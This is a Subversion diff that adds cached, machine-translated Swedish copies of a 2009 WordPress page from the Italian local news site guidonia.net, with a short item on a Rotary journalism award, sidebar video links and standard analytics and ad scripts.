+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=sv" >GuidoniaPuntoNet (pÃ¥gÃ¥r).</a> LÃ€nk: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Valet Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistik" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistik"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.963 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:41:36 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6291&lang=sv
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6291&lang=sv	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/sv/_wp__p=6291&lang=sv	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6291 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> TILLDELNING AV ROTARY GIORNALISTICA / till minne av Grazio AMMATURO ... - UnoNotizie.it - GuidoniaPuntoNet (pÃ¥gÃ¥r) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (pÃ¥gÃ¥r) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6291&rurl=translate.google.com&lang=it&usg=ALkJrhiFdhWaJVOXF7Cf2fejz6W04UggBg" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="standard" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="grÃ¶n" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="lila" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rÃ¶d" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="blÃ¥" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (pÃ¥gÃ¥r) TILLDELNING AV ROTARY GIORNALISTICA / till minne av Grazio AMMATURO ... - UnoNotizie.it Kommentarer Feed" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (pÃ¥gÃ¥r)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia i WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Guidonia: DC, Pagano MAYOR &quot;BASUN&quot; inte igenom ett nederlag - IRIS Press - National News Agency" href=http://www.guidonia.net/wp/?p=6295 /><link rel=next title="Bygga Blitz pÃ¥ byggplatser: 32 personer greps - Il Giornale" href=http://www.guidonia.net/wp/?p=6287 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=sv" >GuidoniaPuntoNet (pÃ¥gÃ¥r)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=sv" >Hemma</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=sv" >Om</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=sv" >Kontakter</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="sÃ¶ka" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6291><h2> <span  > <a href="http://www.guidonia.net/wp?p=6291&lang=sv" >TILLDELNING AV ROTARY GIORNALISTICA / till minne av Grazio AMMATURO ... - UnoNotizie.it</a></span> </h2><p class=meta-header> <span  > Mottagen 29 juni 2009 i <a href="http://www.guidonia.net/wp?cat=1&lang=sv" >Guidonia Nyheter</a> av admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top> <a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif><img src=http://nt0.ggpht.com/news/tbn/vB84q3PNtilB0M/0.jpg alt="" border=1 width=80 height=70 /><br /></font></a> <span  > <font size=-2><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg"><font style=font-size:85%;font-family:arial,sans-serif>UnoNotizie.it</font></a></font></span> </td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.unonotizie.it/6122-premio-giornalistico-del-rotary-in-ricordo-di-grazio-ammaturo-uomo-di-cultura-e-giornalista-de-il-tempo.php&usg=AFQjCNEZj4FNRLLPzbbaTweuwz-CIkBDVg">TILLDELNING AV ROTARY GIORNALISTICA / till minne av Grazio AMMATURO ...</a></b></span> <br /> <span  > <font color=#6f6f6f><font size=-1><b>UnoNotizie.it</b></font></font></span> <br /> <span  > <font size=-1>Rotary Club of <b>Guidonia Montecelio</b> tjÃ€nster har skapat en permanent tilldelning Ã¥rligen en journalist eller en utÃ¶vare av en HUVUDGAVEL Ã€r <b>...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=dPhL1Yfw82Bfv2M"><font class=p size=-1><b>mer Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Lov en Svara</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6291#respond style=display:none;&lang=sv" ><small>Klicka hÃ€r fÃ¶r att avbryta svar.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Namn (krÃ€vs)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (kommer inte att publiceras) (krÃ€vs)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Webbsida</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Kommentarer</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Skicka kommentar" class=box /><input type=hidden name=comment_post_ID value=6291 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idÃ©er fÃ¶r webben</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>IdÃ©er fÃ¶r att sÃ¶ka finansiering: <a href=mailto:info@guidonia.net>kontakta oss</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Du kan stanna aÄ¡Ä¡ornata via <a href="http://www.guidonia.net/wp?feed=rss2&lang=sv" >RSS-flÃ¶de.</a></span> </div><div class=col><div class=box><h3> <span  > Videoklipp om Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, annons.</span> <span  > Viale Roma JÃ€rnvÃ€gsstationen och ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Ord och Ljud Days - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - innebÃ¶rden av allt Ã€r - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6291# onclick=&lang=sv" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Icke Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Bitar av den legendariska konsert av en Moro Guidonia av ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Juli: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="mÃ¥ndag"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="tisdag"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Onsdag"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="torsdag"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="fredag"> <span  > V</span> </th><th abbr=sabato scope=col title="LÃ¶rdag"> <span  > S</span> </th><th abbr=domenica scope=col title="sÃ¶ndag"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=sv" >Â«Juni</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=sv" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=sv" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=sv" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > ÃversÃ€ttare</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6291' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6291&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6291&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6291&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6291&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6291&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6291&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6291&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6291&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6291&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6291&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6291&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6291&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6291&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Prenumerera pÃ¥ innehÃ¥llet"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6291&lang=sv" >Fast Blogg Nyheter</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): vÃ¥ldtÃ€kter, mÃ€tning och &quot;fyller</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - jÃ€rnvÃ€gslinjen av &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: FÃ¶rebyggande och sÃ€kerhet i arbetet</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Kvinna dÃ¶dad av blixten i Lazio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, hus utan cement. HÃ€r Ã€r bevisen. &quot; Den utsÃ€nda, Enzo Cappucci hade grÃ€vt i spillror i Abruzzo regionen och har funnit bevis fÃ¶r lÃ€tthet, brist pÃ¥ kontroll, de kriminella slarv som mÃ¥nga hus byggdes. The ... Tags: Enzo mÃ¶ssor Abruzzo RaiNews24 RAI roma en [...]"">Rai pÃ¥ cement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, hus utan cement. HÃ€r Ã€r bevisen&#39;&#39;. De skickas av Rainews24, Enzo Cappucci hade grÃ€vt i spillror i Abruzzo regionen och har funnit bevis fÃ¶r lÃ€tthet, brist pÃ¥ kontroll, de kriminella slarv som mÃ¥nga hus var ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, hus utan cement&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">BevÃ€pnad med antika pistol rÃ¥nade pÃ¥ hotellet</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Senast den 23 juli prenumerationer pÃ¥ regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Hanteringen av postoperativ smÃ€rta vinner &quot;och rock &#39;stretch&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Kvinnor och demokrati.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">RÃ€dsla, lÃ¶gner och &quot;myt&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Kvinnor och demokrati.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">RÃ€dsla, lÃ¶gner och &quot;myt&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers premiÃ€r pÃ¥ torsdag den 25 juni Ã€r det bio</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani Digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Val och Guidonia KÃ€lla Ny pÃ¥ mitten</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=sv" >GuidoniaPuntoNet (pÃ¥gÃ¥r).</a> LÃ€nk: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Valet Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistik" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistik"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 3.307 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 09:47:20 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/zh-CN/_wp__p=6291&lang=zh-CN
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/zh-CN/_wp__p=6291&lang=zh-CN	(revision 44)
